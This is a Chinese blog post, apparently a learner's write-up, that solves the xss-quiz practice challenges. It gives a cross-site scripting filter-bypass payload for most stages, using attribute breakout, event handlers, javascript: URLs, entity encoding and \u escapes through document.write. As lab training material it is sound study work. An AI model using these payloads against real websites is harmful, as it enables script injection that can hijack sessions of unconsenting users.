Hpdoger's Blog.

xss从零开始(二)之怒刷xss-quiz

Word count: 1,252 / Reading time: 5 min
2018/08/02 Share

刷题

话不多说,刷题,平台:xss-quiz

chanllenge1

直接丢payload

1
<script>alert(document.domain)</script>

document.domain 弹出当前网页的网址

challenge2

随便查一个语句看一下浏览器是怎么渲染的

查询的东西嵌在input标签里的value属性里,解析不到script标签不会调用Js,构造一下bypass逃逸input标签。

1
"><script>alert(document.domain)</script>value="12

challenge3 其它input框的xss

题目地址

普通构造,右键源码发现把尖括号实体化编码了。

用编码没绕过去,p2选择出存在xss无过滤,改一下参数为构造语句再提交

challenge4 隐藏input框

题目地址

隐藏有个p3输入框,type从hidden改为test,构造payload:

1
"><script>alert(document.domain)</script><value="

challenge5 长度限制

题目地址

长度限制改一下就行了

1
"><script>alert(document.domain)</script><value="

challenge6 on事件bypass尖括号

题目地址

过滤了尖括号,用其它事件绕过去,注意查看元素构造Payload:

鼠标向上移动触发js事件:"onmouseover="alert(document.domain)",onmouseover要脱离引号,alert在引号内。

鼠标点击触发js事件:"onclick="alert(document.domain)"

事件会在页面或图像加载完成后立即发生:onload="alert(document.domain)"

challenge7 过滤尖括号和双引号和&

题目地址

经测试,输入空格会自动把前面补一个双引号,然后自己多构造一下找规律就行
bypass

1
a onclick=alert(document.domain)

challenge8 javascript伪协议

从网上学习到:看到输出是在href属性下,用javascript伪协议

常见用到伪协议的属性如下:

1
2
3
src
href
backgroud

学了一波javascript伪协议,看到离歌师傅有一篇文章写的javascript伪协议与url编码联合bypass的文章,感叹还有这种姿势,但是这个道题应该用不到编码,但是我尝试了一下javascript伪协议确实会把“符号”变为“字符串”,从而使用编码,具体看师傅的文章:
利用location来变形我们的XSS Payload

bypass:

1
javascript:alert(document.domain);

等价的bypass

1
javascript:alert%28document.domain%29;

challenge9

utf-7编码,看到网上说有问题,直接跳过

challenge10 过滤特定字符

题目地址

过滤了domain,构造出来domain

1
"><script>alert(document.domdomainain)</script>"<value="

challenge11 编码绕过

题目地址(http://xss-quiz.int21h.jp/stage11th.php?sid=ac29e65dc2666674f15adbe46a2c4af6397173ff)

这题过滤很多:
1,script会被替换为xscript 

2,on事件会被替换为onxxx

3,style会被替换为stxxx

想用html编码绕过构造script标签,结果如下:

后来测试发现,浏览器再解析xml时,先把标签解析成DOM树,而在标签名解析的时候不会解释html编码。解析成DOM树后,html编码解析只对
标签里面属性的值进行解码的。

例如:

1
<a text="scr&#105;pt"></a>

会被解析为:

1
<a text="script"></a>

但是脱离属性外的值不会被解码,例如:

1
<a text="abc" "scr&#105;pt"></a>

还是会被解析成

1
<a text="abc" "scr&#105;pt"></a>

所以我们构造script标签的思路行不通,那我们可以用html编码构造事件,但是构造事件又会脱离“属性”这个范围,编码不会被解析。那我们就重新构造标签,利用href属性和Javascript伪协议
bypass

1
"><a href=javascr&#105;pt:alert(document.domain)>xss</a>

challenge12

过滤了<>和双引号,绕不过去双引号闭合,我们用html编码构造的双引号会被认为成“字符串型”的引号,而不是“符号”,所以不能逃逸出来,看到网上wp说用`可以代替引号,前提是IE8浏览器才能这么解释,这里没什么实战意义,就不做了

challenge15 document.write()

题目地址

这题过滤了尖括号,双引号,但在input标签之上引用了document.write的方法,那么什么是document.write方法呢?

w3c里是这样定义的:
write() 方法可向文档写入 HTML 表达式或 JavaScript 代码。
可列出多个参数(exp1,exp2,exp3,…) ,它们将按顺序被追加到文档中。

也就是说我们在write一下插入的代码就是js范畴了,\u + Unicode编码这种形式是js的编码方法,所以会被解释为<,但是document.write在输出的时候会JavascriptDecode一下数据,会把数据原有\去除,即php里面的stripslashes。

因此我们要用\来替代\,payload:

1
2
\\u003cscript\\u003ealert(document.domain);\\u003c/script\\u003e
\\x3cscript\\x3ealert(document.domain);\\x3c/script\\x3e

一种是unicode编码,一种是\x + 16进制,都可以绕过

总结

剩下的题目有些环境严苛不做研究。总结一下,能调用js的方式:一些on事件,如:onmouseover、onclick、onerror等等。或者script标签,如果是标签的话,要脱离其它标签才能开启js解析调用。还有就是一些特定的方法,现在接触到的只有一个document.write。

学会构造、学会用javascript伪协议,学会编码绕过,知道浏览器解析的顺序,that’s important~

CATALOG
  1. 1. 刷题
  2. 2. chanllenge1
  3. 3. challenge2
  4. 4. challenge3 其它input框的xss
  5. 5. challenge4 隐藏input框
  6. 6. challenge5 长度限制
  7. 7. challenge6 on事件bypass尖括号
  8. 8. challenge7 过滤尖括号和双引号和&
  9. 9. challenge8 javascript伪协议
  10. 10. challenge9
  11. 11. challenge10 过滤特定字符
  12. 12. challenge11 编码绕过
  13. 13. challenge12
  14. 14. challenge15 document.write()
  15. 15. 总结